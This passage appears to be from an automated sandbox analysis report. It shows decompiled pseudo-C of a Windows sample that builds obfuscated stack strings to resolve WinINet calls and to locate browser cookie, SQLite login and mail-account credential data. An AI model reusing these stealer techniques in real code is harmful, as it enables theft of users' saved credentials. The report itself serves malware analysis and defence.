                				char _v1064;
                				signed int _t45;
                				signed int _t49;
                				short* _t52;
                				intOrPtr _t84;
                				void* _t85;
                				void* _t86;
                				void* _t87;
                				void* _t88;
                				void* _t89;
                				void* _t91;
                
                				_v40 = 0x73002e;
                				_v36 = 0x6c0071;
                				_v32 = 0x740069;
                				_v28 = 0x65;
                				_v24 = 0x43005c;
                				_v20 = 0x6f006f;
                				_v16 = 0x69006b;
                				_v12 = 0x730065;
                				_v8 = 0;
                				_v1064 = 0;
                				E004206CD( &_v1062, 0, 0x3fe);
                				_t69 =  &_v1064;
                				E0042067D( &_v1064, 0x3fc);
                				_t84 = _a4;
                				E004166DD( &_v1064, _t91, _t84,  &_v1064, 1);
                				_t45 = E0042093D( &_v1064);
                				_t87 = _t86 + 0x24;
                				if(_t45 > 0x10) {
                					 *((short*)(_t85 + _t45 * 2 - 0x43a)) = 0;
                					E00420AAD( &_v1064,  &_v24, 0);
                					_t69 =  &_v1064;
                					E00413B7D(_t84,  &_v1064, 0);
                					_t87 = _t87 + 0x18;
                				}
                				E0042067D( &_v1064, 0x3fc);
                				E0041833D(_t69,  &_v1064, 0, _t84,  &_v1064, 1);
                				_t49 = E0042093D( &_v1064);
                				_t88 = _t87 + 0x18;
                				if(_t49 > 0x10) {
                					 *((short*)(_t85 + _t49 * 2 - 0x43a)) = 0;
                					E00420AAD( &_v1064,  &_v24, 0);
                					E00413B7D(_t84,  &_v1064, 1);
                					_t88 = _t88 + 0x18;
                				}
                				E0042067D( &_v1064, 0x3fc);
                				_t52 =  *((intOrPtr*)(_t84 + 0xb5c));
                				_t89 = _t88 + 8;
                				if(_t52 != 0 &&  *_t52 != 0) {
                					E0042064D( &_v1064,  *((intOrPtr*)(_t84 + 0xb5c)), E0042093D(_t52) + _t59);
                					_t89 = _t89 + 0x10;
                				}
                				E00420AAD( &_v1064,  &_v24, 0);
                				E00420AAD( &_v1064,  &_v40, 0);
                				E00413B7D(_t84,  &_v1064, 2);
                				return 0;
                			}
























                0x00413ce8
                0x00413cef
                0x00413cf6
                0x00413cfd
                0x00413d04
                0x00413d0b
                0x00413d12
                0x00413d19
                0x00413d20
                0x00413d24
                0x00413d2b
                0x00413d30
                0x00413d3c
                0x00413d41
                0x00413d4e
                0x00413d5a
                0x00413d5f
                0x00413d65
                0x00413d6d
                0x00413d7d
                0x00413d84
                0x00413d8c
                0x00413d91
                0x00413d91
                0x00413da0
                0x00413daf
                0x00413dbb
                0x00413dc0
                0x00413dc6
                0x00413dca
                0x00413dde
                0x00413ded
                0x00413df2
                0x00413df2
                0x00413e01
                0x00413e06
                0x00413e0c
                0x00413e11
                0x00413e30
                0x00413e35
                0x00413e35
                0x00413e45
                0x00413e57
                0x00413e66
                0x00413e74

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: .$e$e$i$k$o$q
                • API String ID: 0-2280049893
                • Opcode ID: eb338e89c876b90e1223fb71efd9747050d32cda87ef4f4a07ef8f0d7be8924a
                • Instruction ID: 20b90917378d2f75e566618d2f7494a5dc182c86737240c3f0473fe155402772
                • Opcode Fuzzy Hash: eb338e89c876b90e1223fb71efd9747050d32cda87ef4f4a07ef8f0d7be8924a
                • Instruction Fuzzy Hash: B2417AF1E002186ADB14EB55DD41FEE73FCDF88704F80449AB20566183EB75AB84CB69
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 37%
                			E0041F1FD(intOrPtr _a4, char _a8, char _a12, char _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
                				char _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				char _v24;
                				intOrPtr* _t32;
                				intOrPtr* _t33;
                
                				_t18 = _a4;
                				_t32 = _a4 + 0x95c;
                				_v24 = 0x65746e49;
                				_v20 = 0x74656e72;
                				_v16 = 0x6e6e6f43;
                				_v12 = 0x41746365;
                				_v8 = 0;
                				E0041F81D(_t18, _t32,  *((intOrPtr*)(_t18 + 0x14)),  &_v24);
                				_t33 =  *_t32;
                				if(_t33 == 0) {
                					return 0;
                				} else {
                					_t15 =  &_a16; // 0x65746e49
                					_t16 =  &_a12; // 0x74656e72
                					_t17 =  &_a8; // 0x6e6e6f43
                					return  *_t33( *_t17,  *_t16,  *_t15, _a20, _a24, _a28, _a32, _a36);
                				}
                			}










                0x0041f203
                0x0041f20f
                0x0041f217
                0x0041f21e
                0x0041f225
                0x0041f22c
                0x0041f233
                0x0041f237
                0x0041f23c
                0x0041f243
                0x0041f272
                0x0041f245
                0x0041f257
                0x0041f25b
                0x0041f25f
                0x0041f26b
                0x0041f26b

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: Conn$ConnectA$Inte$InternetConnectA$ectA$rnet$rnetConnectA
                • API String ID: 0-1024195942
                • Opcode ID: 7ed34138f7708cf7613383558ca86b8bd00d3c79a0a04dd4c06582688efb1e76
                • Instruction ID: 105b7f5e36e779b0695edd0e0140c8b75785c0c4a8874e14c780b19707ac770e
                • Opcode Fuzzy Hash: 7ed34138f7708cf7613383558ca86b8bd00d3c79a0a04dd4c06582688efb1e76
                • Instruction Fuzzy Hash: DB01E9B2909118AFCB14DFD9D941EEF77B8EB48310F158299BE08A7241D630EE11CBE1
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 82%
                			E004149FD(void* __edx, void* __eflags, intOrPtr _a4, char _a8, char _a12, intOrPtr _a16, intOrPtr _a20, char _a24) {
                				char _v6;
                				char _v8;
                				char _v12;
                				char _v16;
                				char _v17;
                				short _v19;
                				char _v23;
                				char _v27;
                				char _v31;
                				char _v35;
                				char _v39;
                				char _v40;
                				intOrPtr _v44;
                				char _v48;
                				short _v50;
                				char _v54;
                				char _v58;
                				char _v62;
                				char _v66;
                				char _v70;
                				short _v72;
                				intOrPtr _v76;
                				char _v80;
                				intOrPtr _v84;
                				char _v85;
                				short _v87;
                				char _v91;
                				char _v95;
                				char _v99;
                				char _v103;
                				char _v107;
                				char _v111;
                				char _v115;
                				char _v116;
                				char _v117;
                				short _v119;
                				char _v123;
                				char _v127;
                				char _v131;
                				char _v135;
                				char _v139;
                				char _v143;
                				char _v147;
                				char _v148;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				signed int _t99;
                				intOrPtr _t104;
                				void* _t109;
                				void* _t120;
                				void* _t133;
                				void* _t134;
                				void* _t136;
                				void* _t138;
                				intOrPtr _t147;
                				void* _t148;
                				void* _t170;
                				intOrPtr* _t184;
                				void* _t186;
                				void* _t189;
                				void* _t190;
                				void* _t191;
                
                				_t170 = __edx;
                				_t1 =  &_a12; // 0x203a4c
                				_t184 =  *_t1;
                				_t185 = _t184 + 0x868;
                				_v8 = 0xa0d;
                				_v6 = 0;
                				_v16 = 0x64697567;
                				_v12 = 0;
                				E00420D3D(_t184 + 0x868, _t184 + 0x4868);
                				_push(1);
                				_push(0x1a);
                				_t99 = E0042093D(_t184 + 0x868);
                				_t147 = _a4;
                				_push(_t184 + 0x868 + _t99 * 2);
                				_push(_t147);
                				L0041043D(_t184 + 0x868 + _t99 * 2, _t170, _t184, _t184 + 0x868);
                				_t189 = _t186 + 0x1c;
                				_v48 = 0x74736f68;
                				_v44 = 0x656d616e;
                				_v40 = 0;
                				_v39 = 0;
                				_v35 = 0;
                				_v31 = 0;
                				_v27 = 0;
                				_v23 = 0;
                				_v19 = 0;
                				_v17 = 0;
                				_v80 = 0x70747468;
                				_v76 = 0x6c616552;
                				_v72 = 0x6d;
                				_v70 = 0;
                				_v66 = 0;
                				_v62 = 0;
                				_v58 = 0;
                				_v54 = 0;
                				_v50 = 0;
                				if( *_t184 == 0x32) {
                					_push(4);
                					_push(0x16);
                					_t31 =  &_v48; // 0x74736f68
                					_push(_t147);
                					L004103AD();
                					_push(4);
                					_push(0x17);
                					_t32 =  &_v80; // 0x70747468
                					_push(_t147);
                					L004103AD();
                					_t189 = _t189 + 0x20;
                				}
                				_push(4);
                				_push(0x18);
                				_push( &_v148);
                				_push(_t147);
                				_v148 = 0;
                				_v147 = 0;
                				_v143 = 0;
                				_v139 = 0;
                				_v135 = 0;
                				_v131 = 0;
                				_v127 = 0;
                				_v123 = 0;
                				_v119 = 0;
                				_v117 = 0;
                				L004103AD();
                				_push(4);
                				_push(0x19);
                				_push( &_v116);
                				_push(_t147);
                				_v116 = 0;
                				_v115 = 0;
                				_v111 = 0;
                				_v107 = 0;
                				_v103 = 0;
                				_v99 = 0;
                				_v95 = 0;
                				_v91 = 0;
                				_v87 = 0;
                				_v85 = 0;
                				L004103AD();
                				_t104 = E00419FFD(_t147, _t185, 1, 0);
                				_t190 = _t189 + 0x30;
                				_v84 = _t104;
                				if(_t104 != 0) {
                					_t56 =  &_v48; // 0x74736f68
                					_t148 = E004209CD(_t104, _t56);
                					_t191 = _t190 + 8;
                					while(_t148 != 0) {
                						_t57 =  &_v48; // 0x74736f68
                						_t109 = E0042091D(_t57);
                						_t58 =  &_v80; // 0x70747468
                						_t60 = _t109 + 3; // 0x3
                						_a12 = _t148 + _t60;
                						 *((char*)(E004209CD(_t148 + _t60, _t58) - 3)) = 0;
                						E0042064D(_t185, _a16, E0042091D(_a16) + 1);
                						_t65 =  &_a12; // 0x203a4c
                						E00420A4D(_t185,  *_t65, 0);
                						E00420A4D(_t185,  &_v8, 0);
                						E0041694D(_a4, _t185, 0, 0,  *_t184);
                						_t120 = E004209CD(_t111 + 0xfffffffe,  &_v148);
                						_t72 = E0042091D( &_v148) + 3; // 0x3
                						_a12 = _t120 + _t72;
                						 *((char*)(E004209CD(_t120 + _t72,  &_v116) - 3)) = 0;
                						E0042064D(_t185, _a20, E0042091D(_a20) + 1);
                						E0041694D(_a4, _t185, 0, 0,  *_t184);
                						_t78 =  &_a12; // 0x203a4c
                						_t79 =  &_a8; // 0x64697567
                						E004148DD(_a4,  *_t79, _t184,  *_t78);
                						_t133 = E004209CD(_t124 + 0xfffffffe,  &_v116);
                						_t134 = E0042091D( &_v116);
                						_t83 =  &_v16; // 0x64697567
                						_t85 = _t134 + 3; // 0x3
                						_a12 = _t133 + _t85;
                						_t136 = E004209CD(_t133 + _t85, _t83);
                						_t87 =  &_a24; // 0x414f3a
                						 *((char*)(_t136 - 3)) = 0;
                						_t138 = E0042091D( *_t87);
                						_t89 =  &_a24; // 0x414f3a
                						E0042064D(_t185,  *_t89, _t138 + 1);
                						E0041694D(_a4, _t185, 0, 0,  *_t184);
                						_t91 =  &_a12; // 0x203a4c
                						_t92 =  &_a8; // 0x64697567
                						E004148DD(_a4,  *_t92, _t184,  *_t91);
                						_t94 =  &_v48; // 0x74736f68
                						_t148 = E004209CD(_t136 + 0xfffffffe, _t94);
                						_t191 = _t191 + 0xe0;
                					}
                					E0042062D(_a4, _v84);
                				}
                				return 1;
                			}


































































                0x004149fd
                0x00414a09
                0x00414a09
                0x00414a13
                0x00414a1a
                0x00414a20
                0x00414a24
                0x00414a2b
                0x00414a2f
                0x00414a37
                0x00414a39
                0x00414a3c
                0x00414a41
                0x00414a4e
                0x00414a4f
                0x00414a50
                0x00414a57
                0x00414a5d
                0x00414a64
                0x00414a6b
                0x00414a6f
                0x00414a72
                0x00414a75
                0x00414a78
                0x00414a7b
                0x00414a7e
                0x00414a82
                0x00414a85
                0x00414a8c
                0x00414a93
                0x00414a99
                0x00414a9c
                0x00414a9f
                0x00414aa2
                0x00414aa5
                0x00414aa8
                0x00414aac
                0x00414aae
                0x00414ab0
                0x00414ab2
                0x00414ab6
                0x00414ab7
                0x00414abc
                0x00414abe
                0x00414ac0
                0x00414ac4
                0x00414ac5
                0x00414aca
                0x00414aca
                0x00414acf
                0x00414ad1
                0x00414ad9
                0x00414ada
                0x00414adb
                0x00414ae2
                0x00414ae8
                0x00414aee
                0x00414af4
                0x00414afa
                0x00414afd
                0x00414b00
                0x00414b03
                0x00414b07
                0x00414b0a
                0x00414b11
                0x00414b13
                0x00414b18
                0x00414b19
                0x00414b1a
                0x00414b1e
                0x00414b21
                0x00414b24
                0x00414b27
                0x00414b2a
                0x00414b2d
                0x00414b30
                0x00414b33
                0x00414b37
                0x00414b3a
                0x00414b45
                0x00414b4a
                0x00414b4d
                0x00414b52
                0x00414b58
                0x00414b62
                0x00414b64
                0x00414b69
                0x00414b6f
                0x00414b73
                0x00414b78
                0x00414b7b
                0x00414b81
                0x00414b8f
                0x00414b9f
                0x00414ba4
                0x00414bab
                0x00414bb7
                0x00414bc8
                0x00414bdb
                0x00414bf1
                0x00414bf7
                0x00414c05
                0x00414c15
                0x00414c26
                0x00414c2b
                0x00414c2e
                0x00414c38
                0x00414c48
                0x00414c53
                0x00414c58
                0x00414c5b
                0x00414c61
                0x00414c64
                0x00414c6b
                0x00414c6f
                0x00414c73
                0x00414c78
                0x00414c7f
                0x00414c90
                0x00414c95
                0x00414c98
                0x00414ca2
                0x00414caa
                0x00414cb7
                0x00414cb9
                0x00414cbc
                0x00414ccc
                0x00414cd1
                0x00414cdf

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: :OAP$L: $guid$guid$hostname$httpRealm
                • API String ID: 0-3349471375
                • Opcode ID: d8b5d6f583d2cea07ac9184a49a99e8cb740f73ef9401e40195ca26ceaae7a95
                • Instruction ID: ac2577180ab3c33893688c81084c026cf0c2905bdf090c28d268126d90500418
                • Opcode Fuzzy Hash: d8b5d6f583d2cea07ac9184a49a99e8cb740f73ef9401e40195ca26ceaae7a95
                • Instruction Fuzzy Hash: BA913EB0A01208AFDB10DFA9CC81FEEB7F8AF48304F40455EF518A7242E6789A55CB65
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 79%
                			E00415C2D(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
                				short _v6;
                				short _v10;
                				short _v14;
                				short _v18;
                				short _v22;
                				short _v26;
                				short _v30;
                				short _v34;
                				char _v36;
                				short _v38;
                				short _v42;
                				short _v46;
                				short _v50;
                				short _v54;
                				short _v58;
                				short _v62;
                				short _v66;
                				char _v68;
                				intOrPtr _v72;
                				intOrPtr _v76;
                				intOrPtr _v80;
                				intOrPtr _v84;
                				intOrPtr _v88;
                				intOrPtr _v92;
                				intOrPtr _v96;
                				intOrPtr _v100;
                				intOrPtr _v104;
                				intOrPtr _v108;
                				intOrPtr _v112;
                				intOrPtr _v116;
                				intOrPtr _v120;
                				intOrPtr _v124;
                				intOrPtr _v128;
                				char _v132;
                				char _v642;
                				char _v644;
                				char _v770;
                				char _v772;
                				char _v1026;
                				char _v1028;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				signed int _t112;
                				void* _t115;
                				signed int _t121;
                				signed int _t131;
                				signed int _t136;
                				signed int _t137;
                				signed int _t140;
                				void* _t170;
                				intOrPtr _t172;
                				void* _t173;
                				void* _t174;
                				void* _t176;
                				void* _t177;
                				void* _t178;
                				void* _t179;
                
                				_v68 = 0;
                				_v66 = 0;
                				_v62 = 0;
                				_v58 = 0;
                				_v54 = 0;
                				_v50 = 0;
                				_v46 = 0;
                				_v42 = 0;
                				_v38 = 0;
                				_v34 = 0;
                				_v30 = 0;
                				_v26 = 0;
                				_v22 = 0;
                				_v18 = 0;
                				_v14 = 0;
                				_v10 = 0;
                				_v6 = 0;
                				_v36 = 0;
                				_v772 = 0;
                				E004206CD( &_v770, 0, 0x7e);
                				_v1028 = 0;
                				E004206CD( &_v1026, 0, 0xfe);
                				_v644 = 0;
                				E004206CD( &_v642, 0, 0x1fe);
                				_t172 = _a4;
                				_push(5);
                				_push(0x1c);
                				_push( &_v68);
                				_push(_t172);
                				L0041043D( &_v642,  &_v68, _t170, _t172);
                				_push(5);
                				_push(0x1e);
                				_push( &_v36);
                				_push(_t172);
                				L0041043D( &_v642,  &_v68, _t170, _t172);
                				_push(5);
                				_push(0x1f);
                				_push( &_v772);
                				_push(_t172);
                				L0041043D( &_v772,  &_v68, _t170, _t172);
                				_push(5);
                				_push(0x20);
                				_push( &_v1028);
                				_push(_t172);
                				L0041043D( &_v772,  &_v1028, _t170, _t172);
                				E0042067D( &_v644, E0042093D( &_v644) + _t107);
                				_t171 = _a8;
                				E00420AAD( &_v644, _a8, 0);
                				_t112 = E0042093D( &_v644);
                				_t176 = _t174 + 0x80;
                				if( *((intOrPtr*)(_t173 + _t112 * 2 - 0x282)) != 0x5c && _v1028 != 0x5c) {
                					_t140 = E0042093D( &_v644);
                					_t176 = _t176 + 4;
                					 *((short*)(_t173 + _t140 * 2 - 0x280)) = 0x5c;
                				}
                				E00420AAD( &_v644,  &_v1028, 0);
                				_t115 = E00419FFD(_t172,  &_v644, 0x15, 0);
                				_t177 = _t176 + 0x1c;
                				if(_t115 != 0) {
                					E0041594D(_t172,  &_v644);
                					_t177 = _t177 + 8;
                				}
                				E0042067D( &_v644, E0042093D( &_v644) + _t116);
                				E00420AAD( &_v644, _t171, 0);
                				_t121 = E0042093D( &_v644);
                				_t178 = _t177 + 0x1c;
                				if( *((intOrPtr*)(_t173 + _t121 * 2 - 0x282)) != 0x5c && _v36 != 0x5c) {
                					_t137 = E0042093D( &_v644);
                					_t178 = _t178 + 4;
                					 *((short*)(_t173 + _t137 * 2 - 0x280)) = 0x5c;
                				}
                				E00420AAD( &_v644,  &_v36, 0);
                				E0041603D(_t172,  &_v644, 0,  &_v772, 1);
                				E0042067D( &_v644, E0042093D( &_v644) + _t126);
                				E00420AAD( &_v644, _t171, 0);
                				_t131 = E0042093D( &_v644);
                				_t179 = _t178 + 0x3c;
                				if( *((intOrPtr*)(_t173 + _t131 * 2 - 0x282)) != 0x5c && _v68 != 0x5c) {
                					_t136 = E0042093D( &_v644);
                					_t179 = _t179 + 4;
                					 *((short*)(_t173 + _t136 * 2 - 0x280)) = 0x5c;
                				}
                				E00420AAD( &_v644,  &_v68, 0);
                				_v132 = 0x630041;
                				_v128 = 0x6f0063;
                				_v124 = 0x6e0075;
                				_v120 = 0x2e0074;
                				_v116 = 0x740073;
                				_v112 = 0x67;
                				_v108 = 0;
                				_v104 = 0;
                				_v100 = 0;
                				_v96 = 0;
                				_v92 = 0;
                				_v88 = 0;
                				_v84 = 0;
                				_v80 = 0;
                				_v76 = 0;
                				_v72 = 0;
                				return E0041603D(_t172,  &_v644, 0,  &_v132, 1);
                			}





























































                0x00415c3f
                0x00415c43
                0x00415c46
                0x00415c49
                0x00415c4c
                0x00415c4f
                0x00415c52
                0x00415c55
                0x00415c58
                0x00415c5c
                0x00415c5f
                0x00415c62
                0x00415c65
                0x00415c68
                0x00415c6b
                0x00415c6e
                0x00415c71
                0x00415c7f
                0x00415c83
                0x00415c8a
                0x00415c9e
                0x00415ca5
                0x00415cb9
                0x00415cc0
                0x00415cc5
                0x00415cc8
                0x00415cca
                0x00415ccf
                0x00415cd0
                0x00415cd1
                0x00415cd6
                0x00415cd8
                0x00415cdd
                0x00415cde
                0x00415cdf
                0x00415ce7
                0x00415ce9
                0x00415cf1
                0x00415cf2
                0x00415cf3
                0x00415cf8
                0x00415cfa
                0x00415d02
                0x00415d03
                0x00415d04
                0x00415d1f
                0x00415d24
                0x00415d31
                0x00415d3d
                0x00415d47
                0x00415d52
                0x00415d64
                0x00415d6b
                0x00415d6e
                0x00415d6e
                0x00415d86
                0x00415d97
                0x00415d9c
                0x00415da1
                0x00415dab
                0x00415db0
                0x00415db0
                0x00415dc9
                0x00415dd8
                0x00415de4
                0x00415de9
                0x00415df4
                0x00415e03
                0x00415e0a
                0x00415e0d
                0x00415e0d
                0x00415e22
                0x00415e3a
                0x00415e55
                0x00415e64
                0x00415e70
                0x00415e75
                0x00415e80
                0x00415e8f
                0x00415e94
                0x00415e97
                0x00415e97
                0x00415eac
                0x00415ec2
                0x00415ec9
                0x00415ed0
                0x00415ed7
                0x00415ede
                0x00415ee5
                0x00415eec
                0x00415eef
                0x00415ef2
                0x00415ef5
                0x00415ef8
                0x00415efb
                0x00415efe
                0x00415f01
                0x00415f04
                0x00415f07
                0x00415f18

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: A$c$g$s$t$u
                • API String ID: 0-3813946880
                • Opcode ID: 073f339e87ff64341795321b8bf3d8d52d92bf3c6cb6fef69b59e328bfc91ff1
                • Instruction ID: 48a681aa3ba90af2ec6461cd775912ea5e7d1faa32cf10f550eef1069f1d300d
                • Opcode Fuzzy Hash: 073f339e87ff64341795321b8bf3d8d52d92bf3c6cb6fef69b59e328bfc91ff1
                • Instruction Fuzzy Hash: D98161B5D01228AADF50DFA4DC85FEEB3B8AF48304F44819EF508A7141EB745A88CF65
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 58%
                			E00432A4D(intOrPtr _a4, intOrPtr _a8) {
                				char _v8;
                				char _v12;
                				char _v16;
                				char _v20;
                				char _v24;
                				char _v28;
                				short _v32;
                				char _v36;
                				short _v40;
                				char _v44;
                				short _v48;
                				char _v52;
                				char* _t24;
                				char* _t26;
                				char* _t28;
                				intOrPtr _t34;
                
                				_t34 = _a8;
                				_v24 = 0;
                				_v8 = 0;
                				_v16 = 0;
                				_push(2);
                				_t24 =  &_v12;
                				_push(_t24);
                				_push(_t34);
                				_v28 = 0x38;
                				_v12 = 0x3031;
                				_v44 = 0x32313032;
                				_v40 = 0;
                				_v52 = 0x36313032;
                				_v48 = 0;
                				_v20 = 0x37;
                				_v36 = 0x38303032;
                				_v32 = 0;
                				L00449B8D();
                				if(_t24 != 0) {
                					 *((intOrPtr*)(_a4 + 0x64)) = 1;
                				}
                				_push(1);
                				_push( &_v20);
                				_push(_t34);
                				L00449B8D();
                				if(_t24 != 0) {
                					L10:
                					return 7;
                				} else {
                					_push(4);
                					_t18 =  &_v36; // 0x38303032
                					_t26 = _t18;
                					_push(_t26);
                					_push(_t34);
                					L00449B8D();
                					if(_t26 != 0) {
                						goto L10;
                					} else {
                						_push(1);
                						_push( &_v28);
                						_push(_t34);
                						L00449B8D();
                						if(_t26 != 0) {
                							L9:
                							return 8;
                						} else {
                							_push(2);
                							_push( &_v12);
                							_push(_t34);
                							L00449B8D();
                							if(_t26 != 0) {
                								goto L9;
                							} else {
                								_push(4);
                								_t21 =  &_v44; // 0x32313032
                								_t28 = _t21;
                								_push(_t28);
                								_push(_t34);
                								L00449B8D();
                								if(_t28 != 0) {
                									goto L9;
                								} else {
                									_push(4);
                									_push( &_v52);
                									_push(_t34);
                									L00449B8D();
                									if(_t28 != 0) {
                										goto L9;
                									} else {
                										return _t28;
                									}
                								}
                							}
                						}
                					}
                				}
                			}



















                0x00432a56
                0x00432a59
                0x00432a5c
                0x00432a5f
                0x00432a62
                0x00432a64
                0x00432a67
                0x00432a68
                0x00432a69
                0x00432a70
                0x00432a77
                0x00432a7e
                0x00432a84
                0x00432a8b
                0x00432a91
                0x00432a98
                0x00432a9f
                0x00432aa5
                0x00432aaf
                0x00432ab4
                0x00432ab4
                0x00432abb
                0x00432ac0
                0x00432ac1
                0x00432ac2
                0x00432acc
                0x00432b3c
                0x00432b45
                0x00432ace
                0x00432ace
                0x00432ad0
                0x00432ad0
                0x00432ad3
                0x00432ad4
                0x00432ad5
                0x00432adf
                0x00000000
                0x00432ae1
                0x00432ae1
                0x00432ae6
                0x00432ae7
                0x00432ae8
                0x00432af2
                0x00432b32
                0x00432b3b
                0x00432af4
                0x00432af4
                0x00432af9
                0x00432afa
                0x00432afb
                0x00432b05
                0x00000000
                0x00432b07
                0x00432b07
                0x00432b09
                0x00432b09
                0x00432b0c
                0x00432b0d
                0x00432b0e
                0x00432b18
                0x00000000
                0x00432b1a
                0x00432b1a
                0x00432b1f
                0x00432b20
                0x00432b21
                0x00432b2b
                0x00000000
                0x00432b31
                0x00432b31
                0x00432b31
                0x00432b2b
                0x00432b18
                0x00432b05
                0x00432af2
                0x00432adf

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: 10$2008$2012$2016$7$8
                • API String ID: 0-783846285
                • Opcode ID: 0fa432fc7e3294d76b02ce4caa798abaaf4f568b923fc5c38ec22cc266d52f63
                • Instruction ID: 34be360539dd64436a694783f2c72ab4cdbd319a8c3f1d182dec7e3686f089a5
                • Opcode Fuzzy Hash: 0fa432fc7e3294d76b02ce4caa798abaaf4f568b923fc5c38ec22cc266d52f63
                • Instruction Fuzzy Hash: 172184719412486AEB00EE94DD02BEFB7ACAF58308F44405BED04A6241E3B95E09C7DA
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 37%
                			E0041F18D(intOrPtr _a4, char _a8, char _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
                				short _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				char _v20;
                				intOrPtr* _t25;
                				intOrPtr* _t26;
                
                				_t14 = _a4;
                				_t25 = _a4 + 0x958;
                				_v20 = 0x65746e49;
                				_v16 = 0x74656e72;
                				_v12 = 0x6e65704f;
                				_v8 = 0x41;
                				E0041F81D(_t14, _t25,  *((intOrPtr*)(_t14 + 0x14)),  &_v20);
                				_t26 =  *_t25;
                				if(_t26 == 0) {
                					return 0;
                				} else {
                					_t12 =  &_a12; // 0x65746e49
                					_t13 =  &_a8; // 0x74656e72
                					return  *_t26( *_t13,  *_t12, _a16, _a20, _a24);
                				}
                			}









                0x0041f193
                0x0041f19f
                0x0041f1a7
                0x0041f1ae
                0x0041f1b5
                0x0041f1bc
                0x0041f1c2
                0x0041f1c7
                0x0041f1ce
                0x0041f1f1
                0x0041f1d0
                0x0041f1da
                0x0041f1de
                0x0041f1ea
                0x0041f1ea

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: A$Inte$InternetOpenA$Open$rnet$rnetOpenA
                • API String ID: 0-3155091674
                • Opcode ID: 883d24814d1d434d2a1ce25732a84b13edda96a210da1abb7f18c8cad43de92b
                • Instruction ID: 0caee0049d7073c5f345a8c461ddf4c34432c833989fdc5d7164bcbc54274148
                • Opcode Fuzzy Hash: 883d24814d1d434d2a1ce25732a84b13edda96a210da1abb7f18c8cad43de92b
                • Instruction Fuzzy Hash: 4CF01DB2901118AF8B14DFD9DC419EB77B8EF48310B048589FD1897301D634AE51CBE1
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 37%
                			E0041F3DD(intOrPtr _a4, char _a8) {
                				intOrPtr _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				char _v24;
                				intOrPtr* _t18;
                				intOrPtr* _t19;
                
                				_t11 = _a4;
                				_t18 = _a4 + 0x96c;
                				_v24 = 0x65746e49;
                				_v20 = 0x74656e72;
                				_v16 = 0x736f6c43;
                				_v12 = 0x6e614865;
                				_v8 = 0x656c64;
                				E0041F81D(_t11, _t18,  *((intOrPtr*)(_t11 + 0x14)),  &_v24);
                				_t19 =  *_t18;
                				if(_t19 == 0) {
                					return 0;
                				} else {
                					_t10 =  &_a8; // 0x736f6c43
                					return  *_t19( *_t10);
                				}
                			}










                0x0041f3e3
                0x0041f3ef
                0x0041f3f7
                0x0041f3fe
                0x0041f405
                0x0041f40c
                0x0041f413
                0x0041f41a
                0x0041f41f
                0x0041f426
                0x0041f439
                0x0041f428
                0x0041f428
                0x0041f432
                0x0041f432

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
